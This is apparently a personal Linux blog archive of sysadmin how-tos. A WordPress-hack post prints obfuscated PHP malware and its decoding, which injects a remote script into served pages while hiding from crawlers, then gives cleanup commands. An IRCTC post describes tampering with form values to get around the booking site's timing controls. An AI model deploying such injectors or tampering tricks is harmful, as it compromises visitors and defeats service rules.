Thursday, November 9, 2017

Installing webserver, php and database on centos 7

This is post is for LAMP aspirants who want to use centos  as linux distribution for use


Open command prompt and escalate to root user
[guest@localhost ~]$ su -
Password:
Last login: Thu Nov  9 08:52:53 IST 2017 on pts/0
[root@localhost ~]#
Install webserver (httpd) database (mariadb-server) and php
[root@localhost html]# yum install mariadb-server httpd php
Please  enter y if it asks for any confirmation before installing anything



Starting webserver
[root@localhost html]# service httpd start
Redirecting to /bin/systemctl start  httpd.service
Starting mariadb database
[root@localhost html]# service mariadb start
Redirecting to /bin/systemctl start  mariadb.service
Make webserver and database system to autostart
[root@localhost html]# systemctl enable mariadb
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
[root@localhost html]# systemctl enable httpd
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
Securing database system for first use
[root@localhost html]# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MariaDB
      SERVERS IN PRODUCTION USE!  PLEASE READ EACH STEP CAREFULLY!

In order to log into MariaDB to secure it, we'll need the current
password for the root user.  If you've just installed MariaDB, and
you haven't set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on...

Setting the root password ensures that nobody can log into the MariaDB
root user without the proper authorisation.

Set root password? [Y/n] Y
New password:
Re-enter new password:
Sorry, passwords do not match.

New password:
Re-enter new password:
Password updated successfully!
Reloading privilege tables..
 ... Success!


By default, a MariaDB installation has an anonymous user, allowing anyone
to log into MariaDB without having to have a user account created for
them.  This is intended only for testing, and to make the installation
go a bit smoother.  You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] Y
 ... Success!

Normally, root should only be allowed to connect from 'localhost'.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] Y
 ... Success!

By default, MariaDB comes with a database named 'test' that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] Y
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] Y
 ... Success!

Cleaning up...

All done!  If you've completed all of the above steps, your MariaDB
installation should now be secure.

Thanks for using MariaDB!
[root@localhost html]#

We are all set to run our webserver lets create a sample webpage and test it
[root@localhost html]# echo "test pagethis is test page" > /var/www/html/sample.html

sample.html will be created at location /var/www/html which is default root for web directory. open up your favorite browser to and access the created file at http://localhost/sample.html

Friday, May 20, 2016

Using Dlink DSL-2750U as Extending Network

Intension of this article is to use Dlink DSL-2750U as secondory router to extend network. 








  1. To Begin clean I would suggest to reset DSL-2750U router using hard reset switch on the back side of router. To do this all you need to connect your router to power supply and keep reset button pressed for few seconds. router will restart after this.
  2. Connect to "Dlink" wireless network so that you get connected to router. Access router using browser at "http://192.168.1.1". Default username and password should be "admin"
  3. In case you want to configure wireless network SSID and passkey you can do at this step. Under "SETUP" tab select "WIRELESS CONNECTION". Set SSID name at BASIC section. (You will have to reconnct to router using new ssid at this point), Next setup passkey for SSID at "ADVANCE" Section. (You will again have to reconnect to SSID using passkey).
  4. Remove Network isolation this will enable connectivity between wireless and wired devices.
  5. Remove DHCP , DNS Relay. Reboot your router. 
  6. Connect ethernet cable from primary router to first ethernet port of secondary router, and you are all set to use DSL-2750U as network extender. 

(feel free to comment as this will give scope of improving article text-- post done in hurry.)







Saturday, April 9, 2016

Using winscp for transferring files to amazon ec2 instance in windows desktop

Before we start you need to download winscp and puttygen tools

Convert you amazon pem key (ssh key) from pem to ppk file. you will get this pem key from amazon console whenever you create the new instance.
  • Start PuttyGen
  • Select "import key" under "conversations" tab from the top menu.
  • Browse and select your pem file.
  • Click on "Save Private Key" to save private key as ppk file. 

  • Install WinScp using default settings/options. 
  • Enter username and hostname (username is generally ec2-user in default OS at AWS, and hostname can be noted from aws console)
  • Click on the "advaced" button and go to "authentication" menu option.
  • Browse and select your newly created ppk file at "Private key file" box and click OK.
  • Connect/ Login to the host

Monday, January 11, 2016

Reset mysql root password | bash: mysqld_safe: command not found

Installed new mysql-server (like i did mysql  Ver 14.14 Distrib 5.7.10) and forgot the root password for mysql. here are tried steps to get your access back.

[root@buggzbox amit] systemctl stop mysqld
[root@buggzbox amit] systemctl set-environment MYSQLD_OPTS="--skip-grant-tables"
[root@buggzbox amit] systemctl start mysqld
[root@buggzbox amit] mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.10 MySQL Community Server (GPL)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>UPDATE mysql.user SET authentication_string = PASSWORD('newpassword') WHERE User = 'root' AND Host = 'localhost';
Query OK, 1 row affected, 1 warning (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 1

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.01 sec)

mysql> quit
Bye
[root@buggzbox amit]# systemctl stop mysqld;
[root@buggzbox amit]# systemctl unset-environment MYSQLD_OPTS
[root@buggzbox amit]# systemctl start mysqld
[root@buggzbox amit]# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.10

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> ^DBye
[root@buggzbox amit]#

Thursday, March 13, 2014

Setup default OS using Grub2

Grub2 provides command line options for changing preference of default operating system, but many of us still do the the way editing files, Since setting up default OS is done once in months so no once remembers the defaults grub commands and everyone ends up searching up grub conf file and setting it manually. writing this blog to keep the short way documented ;)

here is the command to list all the options available 

grep ^menuentry /boot/grub2/grub.cfg | cut -d "'" -f2

select the desired OS you want to boot as default and
 
grub2-set-default

and make it permanent 
 
grub2-mkconfig -o /boot/grub2/grub.cfg

Monday, February 3, 2014

Password less ssh access to linux box



SSH login to linux box don't always force you to type your password again and again. lets setup ssh key based access linux machine. let me break the process into multiple things needed in this procedure.

Creating RSA based ssh keys for ssh
To create rsa key run following linux command on terminal

ssh-keygen -trsa -b2048 -f ssh_key


-t option specifies the type of key to create, we are creating RSA based keys , I have used ssh_key as file name, feel free to put file name as per your choice.
-b option specifies the number of bits in the key to create , 2048 bits is considered sufficient in general so we are using 2048 here.
-f option helps us to mention a custom name to key file, absence of this files are created with default name

Running this command will ask you enter a passphrase, press enter without entering any string
this will create two files ssh_key and ssh_key.pub

ssh_key is your private key and ssh_key.pub is your public key in this.



Configuring ssh key in target Linux machine

Next this is to configure ssh key in linux machine where we want to login ssh to target machine with your user


now add content of your public ssh key to ~/.ssh/authorized_keys
authorized_keys should be owned by your user and should have permissions 400
.ssh directory should also be owned by your user and permission should be 600

once done you can log-out from machine

Connecting to remote host using your key

You are all set to ssh to your linux machine using your private ssh key
by default private key will have permission 400, make file has same permissions.
To ssh to host use following syntax

ssh -i ssh_key user@hostname
in case you have custom port you need to add -p option with port number,
ssh -i ssh_key user@hostname -p 23


Feel free to post your queries if any 

Saturday, June 22, 2013

Dell Wireless 1704 with Fedora 18


Installed Fedora 18 on my office Laptop Dell Vostro 3460, default fedora 18 compilation dont come with ethernet and wireless network drivers for the laptop, here is my workaround to get wireless driver get connected to wireless access point. Following is device list reported by lspci

01:00.0 Network controller: Broadcom Corporation BCM43142 802.11b/g/n (rev 01)
02:00.0 Ethernet controller: Atheros Communications Inc. AR8161 Gigabit Ethernet (rev 10)


I have checked development packages to be installed while installation, which is required for compilation of wireless driver.  here is listing of my kernel packages

[amitp@fedorabox ~]$ sudo rpm -qa | grep kernel-
kernel-devel-3.6.10-4.fc18.x86_64
kernel-3.6.10-4.fc18.x86_64
kernel-headers-3.6.10-4.fc18.x86_64


also you will need c compiler i had gcc-4.7.2-8.fc18.x86_64 on my box, i guess these all are the things we need to start compilation, ops i forgot to mention the driver package. I downloaded package from http://www.lwfinger.com/patches/wireless_bcm43142.tar.bz2 if you have broadcom-wl already installed i recommend to remove it (sudo yum remove broadcom-wl) so that it doesn't creates any conflicts. lets assume you have downloaded wireless_bcm43142.tar.bz2 to Downloads lets start complilation

[amitp@fedorabox ]$ cd ~/Downloads/
[amitp@fedorabox ]$ tar xfjv wireless_bcm43142.tar.bz2
[amitp@fedorabox ]$ cd wireless-bcm43142/amd64/
[amitp@fedorabox ]$ make
[amitp@fedorabox ]$ sudo make install
[amitp@fedorabox ]$ sudo mkdir -p /lib/modules/$(uname -r)/extra/wl
[amitp@fedorabox ]$ sudo cp wl.ko /lib/modules/$(uname -r)/extra/wl
[amitp@fedorabox ]$ sudo depmod -a
[amitp@fedorabox ]$ sudo modprobe wl

thats it you are done :) Do post comments

Saturday, June 2, 2012

Natural Scrolling in Fedora

My office Macbook got upgraded to "Lion" recently, default vertical scrolling behaviour in lion os is to follow natural way scrolling. so if i move my fingers on track pad from bottom to up, page will also move to show bottom part on the screen. Mac terms it as natural way scrolling, behaviour is same if a have a touch screen device where i feel as if i hold the page on the screen and move it up and down. this was not default earlier not even in windows and in linux, atleast not in fedora.

Of course Macbook has option to disable this natural way scrolling but i opted to keep it like that for trial, and later i started liking this way of scrolling. now problem comes when i use my fedora laptop, it doesn't scroll in that way. i checked but couldn't find any option to reverse scrolling behaviour in fedora (I use gnome and recently upgraded to fedora 17).

Exploring some more i found that xmodmap is the thing i have to play around  to fix this. Before i start writing more details about xmodmap. let me go with the title of blog and fix the scrolling part. there are two things in xmodmap key mapping and pointer mapping. execute following commands on your terminal to see the current mappings 

bash-4.2$ xmodmap -pk (this is to show all key mappings)
bash-4.2$ xmodmap -pp (this is to show all pointer mappings)

bash-4.2$ xmodmap -pp
There are 12 pointer buttons defined.

    Physical        Button
     Button          Code
        1              1
        2              2
        3              3
        4              5
        5              4
        6              6
        7              7
        8              8
        9              9
       10             10
       11             11
       12             12

Following 12 pointer are defined for various events. scrolling depends on pointer number 6 and 7.  All we have to do is swap the values of pointer number 6 and 7. and for that you have to execute following command 

bash-4.2$ xmodmap -e "pointer = 1 2 3 4 7 6 8 9 10 11 12"

and your scrolling will be reversed. Just for verification you can run xmodmap -pp again

bash-4.2$ xmodmap -pp
There are 12 pointer buttons defined.

    Physical        Button
     Button          Code
        1              1
        2              2
        3              3
        4              5
        5              4
        6              7
        7              6
        8              8
        9              9
       10             10
       11             11
       12             12

if you want to keep this permanent, all you have to do is save this mapping in startup scripts so that it gets executed when you boot up your fedora.


[I will find more time to write some more about xmodmap and update link  here, idea behind new blog will be something like changing additional multimedia keys to change them to work in your way or changing some key mappings for fooling around your friends. so keep watching for new blog post]

Thursday, May 19, 2011

Make sendmail to use gmail MTA

[amit@thebuggzbox ~]$ sudo yum install ssmtp
[amit@thebuggzbox ~]$ sudo bash -c 'cat > /etc/ssmtp/ssmtp.conf'
AuthUser=yourgmailid@gmail.com
AuthPass=yourgmailpassword
FromLineOverride=YES
UseSTARTTLS=YES
mailhub=smtp.gmail.com:587 (press ctrl+d here)
[amit@thebuggzbox ~]$ sudo service sendmail stop
[amit@thebuggzbox ~]$ sudo chkconfig sendmail off
[amit@thebuggzbox ~]$ sudo mv /usr/sbin/sendmail ~
[amit@thebuggzbox ~]$ sudo ln -s /usr/sbin/ssmtp /usr/sbin/sendmail
[amit@thebuggzbox ~]$ echo "this is sample test mail" | mail -s "test mail" thebuggz@gmail.com
[amit@thebuggzbox ~]$

[Hope you dont need any explanation from my side though i am open if any]

Sunday, May 15, 2011

Making GUI for bash scripts

Inspiration for this is my doctor wife, She always use to say your work is black screen as i use black background with green fonts on my terminal. Just as theme of this blog. I got something to write something on my blog, yes its ZENITY

In college time i have prepared GUI for some of my customised shell scripts to help faculties while doing lab records evaluations as they might not spend writing bas scripts for doing some silly tasks. They just have to click some buttons and script in background used to collect student programs from different working directories , compare them against each other to find how many of them have copied, and do some other tasks. Tools used was zenity. i did a grep in rpmdb of my fedora box and found i have zenity2 installed on box. using man command and Yahoo! search i got some more info and within an hour I build GUI interface having buttons for all my commonly used command lines. let me give you some tips about zenity

To start up with zenity here is basic hello world of zenity
$zenity --info --text "Hello World\!"

In case u see 'command not found' kind of thing don't abuse me ..you need to install zenity in your linux box, fedora users can install it using following command

$sudo yum install zenity

so you have got a idea how to open a information box, now try input box

$zenity --entry --text "Enter some text" 

text enter in this will be echo-ed back its upon you what you want to do with that

[apundir@fencenerve-lx ~]$ ans=$(zenity --entry --text "Enter some text"); echo $ans
whoami
[apundir@fencenerve-lx ~]$ `zenity --entry --text "Enter some text"`
apundir
[apundir@fencenerve-lx ~]$

Create error dialog box now 

zenity --error --text "error box for you! "
 

Consider them as building blocks for your GUI screen

As i believe we must do some small exercise to check how things work here i am giving you some shell script all you need to do is copy this script to a file in your system making it executable using chmod and run it. If you have time you can always make changes to it and experiment a lot


 
-----------script starts here ----------------
#!/bin/bash
#######################################################
if [ $(whoami) != "root" ]; then 
 zenity --error --text="Sorry ! you are not root user."
 exit 1
fi

zenity --info --text="This Script prepared by Amit Pundir just for blog"

menu(){
im="zenity --list --radiolist --width=800 --height=600 --title \"Examserver\""
im=$im" --column=\" \" --column \"Items\" --column \"Description\" "

im=$im"FALSE \"Task 1\" \"Sample task 1\" "
im=$im"FALSE \"Task 2\" \"Lock a User\" "
im=$im"FALSE \"Task 3\" \"Unlock a User\" "
im=$im"FALSE \"Task 4\" \"Send a message to wall\" "
im=$im"FALSE \"Task 5\" \"Shut down Computer\" "
}

option(){
choice=`echo $im | sh -`

if echo $choice | grep "Task 1" > /dev/null; 
then


# put for script here 
zenity --info --text="Task 1 executed successfully"

fi

if echo $choice | grep "Task 2" > /dev/null; 
then

# task 2 scipt comes here , 
#suppose you need have take some user input for task 2 add following line
# locking a user in the system
u=zenity --entry --text="Enter loginid of user your want to lock"
passwd -l $u;
zenity --info --text=" User locked in the system"

fi 

if echo $choice | grep "Task 3" > /dev/null; 
then

# task 3 scipt comes here , 
# unlocking a user in the system
u=zenity --entry --text="Enter loginid of user your want to unlock"
passwd -u $u;
zenity --info --text="User is unlocked in the system"

fi 

if echo $choice | grep "Task 4" > /dev/null; 
then
 msg=$(zenity --entry --text="Enter your message")
 wall $msg;
fi

if echo $choice | grep "Task 5" > /dev/null; 
then
 /sbin/shutdown -h +2 Please save your files,Server will close all connection in 2 minutes!;
fi 

}

menu
option
if test ${#choice} -gt 0; then
clear
echo "All Finished"
fi

exit 0
------------script ends here ----------

And i forgot to mention by the time i finished writing this blog it was night and i my wife got from her sleep and told me that today your laptop is making more light in dark room and distubing her sleep. i realised this extra light was just because of the GUI pop ups of white color

Sunday, April 3, 2011

Indian Railway Ticket Booking with firebug

[Update: Indian railway site started disabling quick book form from 7:45 am to 9:00 am. I am thinking how to hack this level of corruption now ]

Many of you will be familiar with the Indian Railway Ticket booking site https://www.irctc.co.in/ . Booking opens at 8AM everyday and irctc servers are not enough to take to load of users, therefore most of the users starts getting time-out from website and they dont get the booking form page from the irctc servers. What i have tried is, made booking form ready before 8AM and just pressed submit button at 8:00:01 AM within seconds i was redirected to payment banking site as i was using net banking for payment.


Here is the Trick

* Match your watch with the IRCTC server time.
* Fill up the form before 8am.
* use firebug plugin to edit two variables, so that server understands form is filled after 8am.
* Hit enter on keyboard as soon as your watch shows 8 am. you will be redirected to payment gateway.


[firebug edit]

click on quick book link on irctc website. fill up the complete form.
use firebug and edit quick book button .. html for quick book will be something

<input type="submit" class="buttonSubmit" 
onclick="return incrementClicks('7');" value="Quick Book" 
name="Submit">

u have to change value inside incrementClicks... and set it to 8.. if you are opening form in your browser after 7am and before 8 am this value will be 7.

If you want to check availability you can do similar edit on show availability button on the form
<input class="buttonSubmit" name="avail" 
onclick="return openAvailabilityWin('7');" type="button" 
value="Show Availability " />


[I had booked tatkal two times for my friend similar way, don't fill up your form too early your login session may get expired, better start at 7:45am]

Monday, May 17, 2010

Time-Pass Engineering

It was just a month passed after warranty of my Latitude laptop had expired and cpu fan stopped cooling processor of laptop. It was good i realised it before else laptop's processor would have melted some day. Very next day of this realisation i called up Dell customer care and asked for replacement of fan, customer care executive did some troubleshooting steps with diagnostic disc supplied with laptop and came to a conclusion that fan has to replaced. He promised me to send quotation for fan in few days. After some days i got an email saying that product(fan) is EOL, so they can't supply it anymore. I was not able to use my laptop just because of this, just because i was having another laptop given by office, it was not a trouble for me.

Some weeks later i opened my laptop and took out cpu fan out. my plan was to get it repaired with help of some electrical shop, meantime i got some information about some laptop repair shops. At one shop i was told that fan can't be repaired but they can get same fan within a week, but later after two weeks shopkeeper refused as he was not able to find one for me. I tried another shop he kept fan for three days and finally called back to me saying fan is working. He asked me to get motherboard and offered me to fix this. I was not willing to leave my machine at his shop and he refused to repair it in front of me. I got the fan back and thought to get it fixed later with someone else.

Once again i called up Dell and told them it not fan but the power connector of on the motherboard which is not supplying any power to fan. Last weekend i was not having any plans, and because of hot sun outside i don't wanted to got outside my room. I checked power requirement of the fan it was 5.0 volt. With an idea of checking it i bought three pencil cell battery each of 1.5 volt. With help of a thin wire i connected battery with the fan wires and finally i saw fan in working condition. Here i started my mind's engineering capability to fix the fan. 
I connected two wires to the power connector of the fan and made it pasted transparent tape on it so that it doesn't create any short-circuit with motherboard. then i found a place to keep two batteries in inside the laptop body. I could have done some more research on the motherboard to find a suitable point where i can get desired voltage for the fan  but unfortunately i was not having any multimeter kind of device to check the voltage coming out from various available points on the mother board and also. Then i though if i fix the fan directly to the batteries it will remain in always-on situation and batteries will die soon. Now i was thinking to purchase a small switch button to control the fan. Looking at the datacard panel on the board i started mechanical engineer portion of my mind. Have a look on the pictures next.
This picture above shows switch in off state


This Picture above shows switch in on state

If you observe carefully you will see a black plastic stick purpose of stick is too push out internet datacard which i don't use in my laptop as i have USB wireless modem. I pasted one wire to this stick and other wire to the iron plate with help of adhesive, this was most time taking task as it needs to be done with complete perfection finally switch is ready, all i have to do is pull the stick out to make circuit on and push it back to turn off the circuit.

Next i carefully fixed the batteries and aligned the wires so that they don't cause any hindrance while closing the laptop. I fitted back all the components carefully and was ready to boot up my machine.

Just to keep an eye on the fan's working i enabled temperature monitoring widget on my fedora desktop. though i dont find any option to raise a sound alert in this applet, may i have sit another weekend and look into code of this fedora desk widget to have an option of setting a sound alarm when temperature goes higher than a certain point.

Saturday, May 8, 2010

When WordPress Site was Hacked

Long time ago i opted to read news online avoiding wastage of newsprint and i bookmarked various news websites for reading news daily morning, and it became habit to checkout bookmarked websites early in the morning. Yesterday morning when i opened one of bookmarked website for news about himachal website was redirecting me to some interesting page, and this page was offering some exe for cleaning up virus from my computer. how funny .... site was saying me to clean virus from my linux laptop.. ha ha ha.. 

Investigating more about websites i found this was happening from the server side, i passed on a message to the website owner, as he was known to me, saying that something is breaking on his site. Later i got a call from website owner saying that some malicious code is added to each page on the webserver. Here is the code he has sent 
----code begins here----

<?php /**/ 
eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9z
dGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAk
R0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlz
dHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMo
J2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICgh
c3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdv
b2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VT
RVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFz
ZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5
NlpYUjBZWEJsZEhSaExtTnZiUzlxY3k1d2FIQWlQand2YzJOeWFY
QjBQZz09Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0g
ICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ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AgaWYocHJlZ19tYXRjaCgn
L1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1
OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgn
LyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEn
LCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAg
ICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4
QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAg
b2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>
----code ends here----
here is the expansion of decoded string 
----expansion starts here ----
:if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){ return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly96ZXR0YXBldHRhLmNvbS9qcy5waHAiPjwvc2NyaXB0Pg=="); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }
----expansion ends here----

Well it will take some more time for me to understand this. later i was given shell access to this web server to check out the problem.. I used perl to remove this code from the php file ..

perl -p -i -e 's/.*=="\)\);\?>//g'

but this was not enough, website was giving errors even after this. It was hard time prior to this website was redirecting but now website was getting displayed without css, at this time i was more worried whole website was looking very ugly, I called up website owner and call was a relief for me, i was feeling owner might be unhappy with me for giving this ugly look to his website but his was calm which motivated me. Struggling some more with the php files for some other malicious code, I checked out error logs and found there was some problems in sending php headers, and i immediately remembered my college days when my php project stopped working because of one empty line was added in the login page. 

so i again executed following perl command to cleanup the empty lines.
perl -p -i -e 's/^\n//g'

and website was up again. 

here is the piece of code which can fix similar problem in one go, all you need to do is move to root directory of your webserver and execute

for i in `find ./* -name "*.php"`;do  if [ -f $i ];then perl -p -i -e 's/.*=="\)\);\?>[^.]*//g' $i ; perl -p -i -e 's/^\n//' $i ; fi done;

I have to use two regular expression as newline character was giving trouble to me. i would like to mention this expression will work for the above mentioned malicious code, you may have to tweek the expression if you have some other malicious code added to your word press site.

If you don't have shell access to webserver other solution to such problem can be updating wordpress, if you already have the latest version you get option of reinstalling wordpress which actually replaces all the affected php files and your affected php files with malicious code will be removed automatically. In case you you have custom theme you have to update your theme files also and also the plugins you are using in your wordpress site.

I am still confused how hacker was able to add this php code, as i dont have sudo access on the webserver could not get more things for you, will try to detect it somehow.. 

Happy Wordpress people.. Happy Open Source..

Sunday, November 8, 2009

Reliance Netconnect on fedoara 11

Reliance Netconnect coming with dual mode modem, and fedora by default detects it as USB Storage device here are the steps to make it work with fedora 11. As soon as you connect your usb modem check for the kernel message

[apundir@localhost ~]$ sudo tail  /var/log/messages

Nov  8 10:58:38 localhost kernel: usb 5-1: new full speed USB device using uhci_hcd and address 2                          
Nov  8 10:58:38 localhost kernel: usb 5-1: New USB device found, idVendor=19d2, idProduct=fff5                             
Nov  8 10:58:38 localhost kernel: usb 5-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3                        
Nov  8 10:58:38 localhost kernel: usb 5-1: Product: USB Storage                                                            
Nov  8 10:58:38 localhost kernel: usb 5-1: Manufacturer: ZTE, Incorporated                                                 
Nov  8 10:58:38 localhost kernel: usb 5-1: SerialNumber: 000000000002                                                      
Nov  8 10:58:38 localhost kernel: usb 5-1: configuration #1 chosen from 1 choice                                           
Nov  8 10:58:38 localhost kernel: scsi3 : SCSI emulation for USB Mass Storage devices


notice the idVendor=19d2, idProduct=fff5 in messages now we need to switch device from usb storage to modem based on this ids. now install usb_modeswitch for this

[apundir@localhost ~]$ sudo yum -y install usb_modeswitch

now you need to look for exact match for target product id in /etc/usb_modeswitch.conf


I have ZTE AC2726 modem here is the configuration i added

[apundir@localhost ~]$ tail -15 /etc/usb_modeswitch.conf

# ZTE AC2726 (EVDO) Reliance Netconnect
#
# Comments: amitpundir@ymail.com

DefaultVendor=  0x19d2
DefaultProduct= 0xfff5

TargetVendor=   0x19d2
TargetProduct=  0xfff1

MessageEndpoint=0x0a
MessageContent="5553424312345678c00000008000069f010000000000000000000000000000"



in case you have a different modem make you need to search your configuration and make it enable by commenting the ";" in the usb_modeswitch.conf file. now lets switch the device

[apundir@localhost ~]$sudo usb_modeswitch

here is what i get from my kernel messages

[apundir@localhost ~]$ sudo tail  /var/log/messages

Nov  8 11:00:42 localhost kernel: usb 5-1: usbfs: process 2562 (usb_modeswitch) did not claim interface 0 before use       
Nov  8 11:00:42 localhost kernel: usb 5-1: USB disconnect, address 2                                                       
Nov  8 11:00:43 localhost kernel: usb 5-1: new full speed USB device using uhci_hcd and address 3                          
Nov  8 11:00:44 localhost kernel: usb 5-1: New USB device found, idVendor=19d2, idProduct=fff1                             
Nov  8 11:00:44 localhost kernel: usb 5-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0                        
Nov  8 11:00:44 localhost kernel: usb 5-1: Product: ZTE CDMA Tech                                                          
Nov  8 11:00:44 localhost kernel: usb 5-1: Manufacturer: ZTE, Incorporated                                                 
Nov  8 11:00:44 localhost kernel: usb 5-1: configuration #1 chosen from 1 choice


now i got my modem connected to my laptop you can see it added to the list of usb devices on your machine

[apundir@localhost ~]$ lsusb
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 005: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth
Bus 001 Device 002: ID 413c:a005 Dell Computer Corp. Internal 2.0 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 005 Device 003: ID 19d2:fff1 ONDA Communication S.p.A.
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub



here ONDA is my modem. modeprobe the new device

[apundir@localhost ~]$  sudo modprobe usbserial vendor=0x19d2 product=0xfff1


after this i have used wvdial to connected to network
installing wvdial is simple with YellowdogUpdateManager

[apundir@localhost ~]$ sudo yum -y install wvdial


now we need to generate a wvdial.conf file for connecting to internet, many blogs say it can be done using  wvdialconf  but i was not able to connect with the conf file i got later after some this and that changes, i got my modem connecting to internet here is my final conf file

[apundir@localhost ~]$ cat /etc/wvdial.conf
[Dialer Defaults]
Modem = /dev/ttyUSB0
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Modem Type = Analog Modem
Phone=#777
Username=9*********
Init1=ATZ
Password=9*********
Baud=4608000
PPPP Path= /usr/sbin/pppd
New PPPD= 1
Stupid Mode = 1
Tonline = 0

(change username and password in this file. and you may need to change the path of modem for me it got connected to /dev/ttyUSB0)

finally for connecting you need

[apundir@localhost ~]$ sudo wvdial


and output of this will be something like

[apundir@localhost ~]$ sudo wvdial
--> WvDial: Internet dialer version 1.60
--> Cannot get information for serial port.
--> Initializing modem.
--> Sending: ATZ
ATZ
OK
--> Sending: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
OK
--> Modem initialized.
--> Sending: ATDT#777
--> Waiting for carrier.
ATDT#777
CONNECT
